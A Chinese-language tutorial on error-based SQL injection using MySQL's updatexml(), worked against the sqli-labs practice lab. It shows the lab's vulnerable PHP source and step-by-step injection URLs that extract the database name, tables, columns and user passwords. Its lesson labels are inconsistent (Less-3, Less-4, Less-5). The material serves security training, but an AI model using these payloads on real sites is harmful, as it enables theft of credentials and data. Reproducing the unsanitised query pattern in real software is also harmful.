摘要 {#摘要}
本文主要介绍了如何使用 updatexml() 报错注入的方法进行 SQL 注入攻击,具体骤包括判断是否存在注入、判断显错位、判断库名、判断表名、列和判断数据等。通过 sqli-labs 的 Less-3 题目为例,详细介绍了攻击步骤,并提供了美化后的格式结果。文章的主要目的是帮助了解 SQL 注入攻击的基本原理和实际操作步骤。
前言 {#前言}
介绍一些理论和参数
首先按照以往思路,寻找字段数以及显错位,发现这个地方并没有显错位,这个时候自然而然的就想到了盲注,这题确实是可以通过盲注去做,但是查看源码我们发现这个地方也会输出数据库的报错,这个时候我们也可以尝试去使用updatexml报错注入(其实好多盲注的地方大家都可以试试报错,因为有的时候报错注入的致命错误会显示出来,数据库只忽略普通报错)
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT \* FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error()); #这个地方报错
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
`?>
`
updatexml()更新xml文档的函数
语法:
updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(Ox7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了但是报错的时候他其实已经执行了那个子查询代码!
(Ox7e实际是是16进制,Mysql支持16进制,但是开头得写OxOx7e是一个特殊符号,然后不符合路径规则报错)
updatexml ()用法
updatexml ()这个函数一般是配合and或者是or使用的,他和联合查询不同,不需要在意什么字段数
eg:
select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
但是要注意,and情况下只要一个为False,就会判定是False,所以如果and前面的条件不成立的情况下,就不会执行之后的语句。所以使用的时候建议使用or
某些没有回显盲注也可以用这个updatexml()做出来。
但是报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()。
实验环节 {#实验环节}
前期准备 {#前期准备}
su - root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令
浏览器访问Less-5的地址
打开HackBar插件
判断是否存在注入 {#判断是否存在注入}
http://192.168.199.129/Less-5/?id=1\
#如下图可根据页面报错信息得知sql语句是单引号闭合
http://192.168.199.129/Less-5/?id=1' and 1=1 -- xz
判断显错位 {#判断显错位}
http://192.168.199.129/Less-4/?id=-1' union select 1,2,3 -- xz
#发现页面无回显,我们用报错查询来查询库名
举个例子,这里用我服务器数据库的wordpress为例
我们在wp_users表里新建了一个updatexml()查询,代码如下
SELECT * FROM `wp_users` union select updatexml(1,concat('!',(select database()),'!'),1)
判断库名 {#判断库名}
http://192.168.199.129/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) -- xz
)
判断表名 {#判断表名}
#使用group_concat查询全部
http://192.168.199.129/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- xz
#使用limit语法
http://192.168.199.129/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) -- xz
判断列名 {#判断列名}
http://192.168.199.129/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- xz
判断数据 {#判断数据}
http://192.168.199.129/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) -- xz